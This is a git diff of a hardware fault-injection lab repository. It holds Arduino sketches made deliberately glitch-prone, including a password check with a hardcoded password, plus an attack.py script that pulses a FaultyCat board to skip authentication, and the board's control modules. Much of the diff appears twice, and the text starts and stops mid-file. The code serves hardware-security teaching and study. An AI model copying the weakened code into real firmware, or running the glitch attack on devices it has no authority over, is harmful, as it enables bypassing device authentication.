+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
new file mode 100644
index 0000000..3fd677f
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
@@ -0,0 +1,97 @@
+import platform
+import serial
+import time
+import serial.tools.list_ports
+import threading
+
+from  .ConfigBoard import BoardStatus
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+DEFAULT_SERIAL_BAUDRATE = 921600
+
+class UART(threading.Thread):
+    def __init__(self, serial_port: str = DEFAULT_COMPORT):
+        self.serial_worker          = serial.Serial()
+        self.serial_worker.port     = serial_port
+        self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE
+        self.recv_cancel            = False
+        #self.daemon                 = True
+
+    def __del__(self):
+        self.serial_worker.close()
+
+    def __str__(self):
+        return f"Serial port: {self.serial_worker.port}"
+
+    def set_serial_port(self, serial_port: str):
+        self.serial_worker.port = serial_port
+    
+    def set_serial_baudrate(self, serial_baudrate: int):
+        self.serial_worker.baudrate = serial_baudrate
+
+    def is_valid_connection(self) -> bool:
+        try:
+            self.open()
+            self.close()
+            return True
+        except serial.SerialException as e:
+            return False
+
+    def get_serial_ports(self):
+        return serial.tools.list_ports.comports()
+
+    def reset_buffer(self):
+        self.serial_worker.reset_input_buffer()
+        self.serial_worker.reset_output_buffer()
+
+    def cancel_recv(self):
+        self.recv_cancel = True
+
+    def open(self):
+        self.serial_worker.open()
+        self.reset_buffer()
+    
+    def close(self):
+        self.reset_buffer()
+        self.serial_worker.close()
+
+    def is_connected(self):
+        return self.serial_worker.is_open
+
+    def send(self, data):
+        self.serial_worker.write(data)
+        self.serial_worker.write(b"\n\r")
+        self.serial_worker.flush()
+    
+    def recv(self):
+        if not self.is_connected():
+            self.open()
+        try:
+            while not self.recv_cancel:
+                time.sleep(0.1)
+                
+                bytestream = self.serial_worker.readline()
+                if self.recv_cancel:
+                    self.recv_cancel = False
+                    return None
+                return bytestream
+        except serial.SerialException as e:
+            print(e)
+            return None
+        except KeyboardInterrupt:
+            self.recv_cancel = True
+            return None
+    
+    def send_recv(self, data):
+        self.send(data)
+        return self.recv()
+
+    def stop_worker(self):
+        self.recv_cancel = True
+        self.reset_buffer()
+        self.close()
+        self.join()
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
new file mode 100644
index 0000000..0bb2e54
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
@@ -0,0 +1,68 @@
+import threading
+import time
+import typer
+from rich.console import Console
+from rich.table import Table    
+
+from .UART import UART
+from .ConfigBoard import ConfigBoard
+
+class FaultyWorker(threading.Thread):
+    def __init__(self):
+        super().__init__()
+        #self.daemon = True
+        self.workers = []
+        self.board_uart = UART()
+        self.board_configurator = ConfigBoard()
+        self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"]   
+        self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"]
+    
+    def add_worker(self, worker):
+        self.workers.append(worker)
+    
+    def stop_workers(self):
+        for worker in self.workers:
+            worker.join()
+    
+    def run_workers(self):
+        for worker in self.workers:
+            worker.start()
+    
+    def set_serial_port(self, serial_port):
+        self.board_uart.set_serial_port(serial_port)
+    
+    def validate_serial_connection(self):
+        return self.board_uart.is_valid_connection()
+    
+    def set_pulse_count(self, pulse_count):
+        self.pulse_count = pulse_count
+        self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count
+    
+    def set_pulse_time(self, pulse_time):
+        self.pulse_time = pulse_time
+        self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time
+    
+    def start_faulty_attack(self):
+        try:
+            self.board_uart.open()
+            time.sleep(0.1)
+            typer.secho("Board connected.", fg=typer.colors.GREEN)
+            typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            time.sleep(1)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+            
+            typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN)
+            time.sleep(1)
+            typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN)
+            for i in range(self.pulse_count):
+                typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN)
+                self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+                time.sleep(self.pulse_time)
+            
+            typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            self.board_uart.close()
+            typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW)
+        except Exception as e:
+            typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED)
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
new file mode 100644
index 0000000..f503922
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
new file mode 100644
index 0000000..b36d3c6
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
new file mode 100644
index 0000000..34c38f2
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
new file mode 100644
index 0000000..a34e25d
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
Binary files differ

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
